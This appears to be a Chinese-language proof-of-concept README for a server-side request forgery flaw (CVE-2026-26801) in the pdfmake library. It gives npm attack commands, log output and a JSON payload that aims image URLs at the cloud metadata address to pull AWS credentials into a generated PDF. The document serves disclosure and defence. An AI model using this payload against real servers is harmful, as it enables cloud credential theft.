| 字段 | 值 |
|---|---|
| 软件包 | pdfmake |
| 版本 | >= 0.3.0-beta.2, <= 0.3.5 |
| 修复版本 | 0.3.6 |
| CVE | CVE-2026-26801 |
| 类型 | 服务端请求伪造(SSRF) |
| 位置 | src/URLResolver.js |
| 严重程度 | 高危 |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
当 docDefinition 中的 images、attachments 或 files 包含 URL 时,pdfmake 会在没有任何验证的情况下获取这些 URL:
npm install
npm run metadata
npm run server
盲 SSRF(证明服务器会发起外部请求):
npm run attack
完整读取 SSRF(凭据嵌入生成的 PDF 中):
npm run exfiltrate
npm run attack)元数据服务器输出:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
这证明存在漏洞的服务器向我们的受控端点发起了外部请求。
npm run exfiltrate)攻击脚本会生成 exfiltrated.pdf。使用任意 PDF 阅读器打开后,AWS 凭据 JSON 会作为文件附件(metadata.json)嵌入其中。这证明实现了完整的数据窃取,而不仅仅是盲 SSRF。攻击者可以在 PDF 内部获取实际的响应体内容。
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
包含发现过程、攻击链和披露时间线的完整技术分析文章:mariopepe.github.io/cve-2026-26801-pdfmake-ssrf